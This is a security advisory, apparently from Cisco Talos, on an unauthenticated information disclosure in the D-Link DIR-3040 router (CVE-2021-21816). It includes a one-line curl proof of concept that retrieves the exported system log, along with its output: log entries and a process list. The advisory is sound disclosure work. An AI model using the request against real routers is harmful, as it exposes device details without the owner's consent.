Talos Vulnerability Report

TALOS-2021-1281

D-LINK DIR-3040 Syslog information disclosure vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21816

Summary

An information disclosure vulnerability exists in the Syslog functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to the disclosure of sensitive information. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

CVSSv3 Score

6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CWE

CWE-200 - Information Exposure

Details

The DIR-3040 is an AC3000-based wireless internet router.

A feature provided by this device is the remote viewing of the device’s system log. This is normally hidden behind the authenticated web UI at `https://<router ip>/SystemLog.html` which provides a button to export and retrieve the system log over HTTP.

If an authenticated user has exported the log at least once during the current power cycle of the device, the log itself is retrievable by anyone on the network without authentication at `https://<router ip>/messages`

Exploit Proof of Concept

Edited for brevity as there can be a lot of information here such as interfaces, process lists and errors encountered.

```
$ curl -k https://192.168.100.1/messages % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 –:–:– –:–:– –:–:– 02021-04-05 11:36:07 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 1 2021-04-05 11:36:08 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 2 2021-04-05 11:36:09 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 3 2021-04-05 11:36:10 syslog: dnssd_clientstub ConnectToServer: connect() failed path:/var/run/mdnsd Socket:27 Err:-1 Errno:0 Success 2021-04-05 11:36:10 syslog: dnssd_clientstub DNSServiceRefDeallocate called with NULL DNSServiceRef 2021-04-05 11:36:13 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 1 2021-04-05 11:36:14 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 2 2021-04-05 11:36:15 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 3 2021-04-05 11:36:16 syslog: dnssd_clientstub ConnectToServer: connect() failed path:/var/run/mdnsd Socket:27 Err:-1 Errno:0 Success 2021-04-05 11:36:16 syslog: dnssd_clientstub DNSServiceRefDeallocate called with NULL DNSServiceRef total used free shared buffers Mem: 250524 131548 118976 0 0 -/+ buffers: 131548 118976 Swap: 0 0 0 PID USER VSZ STAT COMMAND 1 admin 1684 S /sbin/procd 2 admin 0 SW [kthreadd] 3 admin 0 SW [ksoftirqd/0] 4 admin 0 SW [kworker/0:0] 5 admin 0 SW< [kworker/0:0H] 6 admin 0 SW [kworker/u8:0] 7 admin 0 SW [migration/0] 8 admin 0 SW [rcu_bh] 9 admin 0 SW [rcu_sched] 10 admin 0 SW [migration/1] 11 admin 0 SW [ksoftirqd/1] 13 admin 0 SW< [kworker/1:0H] 14 admin 0 SW [migration/2] 15 admin 0 SW [ksoftirqd/2] 16 admin 0 SW [kworker/2:0] 17 admin 0 SW< [kworker/2:0H] 18 admin 0 SW [migration/3] 19 admin 0 SW [ksoftirqd/3] 21 admin 0 SW< [kworker/3:0H] 22 admin 0 SW< [khelper] 23 admin 0 SW [kdevtmpfs] 24 admin 0 SW< [netns] 25 admin 0 SW< [writeback] 26 admin 0 SW< [bioset] 27 admin 0 SW< [kblockd] 28 admin 0 SW [khubd] 29 admin 0 SW [kworker/3:1] 31 admin 0 SW [kworker/1:1] 32 admin 0 SW [kworker/0:1] 33 admin 0 SW [kswapd0] 34 admin 0 SWN [ksmd] 35 admin 0 SW [fsnotify_mark] 36 admin 0 SW< [crypto] 43 admin 0 SW< [deferwq] 44 admin 0 SW [kworker/u8:1] 139 admin 928 S /sbin/askfirst ttyS1 /bin/login 222 admin 1052 S /sbin/ubusd 246 admin 1300 S /usr/bin/if_monitor 257 admin 5160 S /sbin/preinit 270 admin 0 SWN [jffs2_gcd_mtd6] 286 admin 1276 S /sbin/tw_hotplug 302 admin 5696 S /bin/nvram_daemon 332 admin 0 SWN [jffs2_gcd_mtd8] 386 admin 1964 S telnetd -b 0.0.0.0 706 admin 4060 S /sbin/stad 1 707 admin 4064 S /sbin/stad 2 865 admin 940 S nl_server -i br0 -s dlinkrouter -s dlinkrouter81B5 - 866 admin 940 S nl_server -i br0 -s dlinkrouter -s dlinkrouter81B5 - 869 admin 1320 S mDNSResponder -b -i br0 -f /tmp/mdns_resp.conf -e dl 932 admin 5484 S /bin/lighttpd -f /etc_ro/lighttpd/lighttpd.conf -m / 943 admin 7940 S /etc_ro/lighttpd/www/web/HNAP1/prog.fcgi 948 admin 4260 S /usr/sbin/timer 953 admin 1960 S syslogd -L 962 admin 7960 S /etc_ro/lighttpd/www/web/HNAP1/prog.fcgi 983 admin 4536 S /sbin/myinfo.cgi 1294 admin 0 SW [RtmpCmdQTask] 1295 admin 0 SW [RtmpWscTask] 1296 admin 0 SW [HwCtrlTask] 1297 admin 0 SW [ser_task] 1304 admin 0 SW [RtmpMlmeTask] 1313 admin 0 SW [RtmpCmdQTask] 1314 admin 0 SW [RtmpWscTask] 1315 admin 0 SW [HwCtrlTask] 1316 admin 0 SW [ser_task] 1365 admin 0 SW [kworker/1:2] 1386 admin 0 SW [RtmpMlmeTask] 23890 admin 1972 S sh -c ps >> /etc_ro/lighttpd/www/web/messages 23892 admin 1964 R ps
```

Timeline

2021-04-28 - Vendor disclosure
2021-05-12 - Vendor acknowledged
2021-06-08 - Vendor provided patch for Talos to test
2021-06-09 - Talos provided feedback on patch
2021-06-23 - Talos follow up with vendor
2021-07-13 - Vendor patched
2021-07-15 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1255

NEXT REPORT

TALOS-2021-1282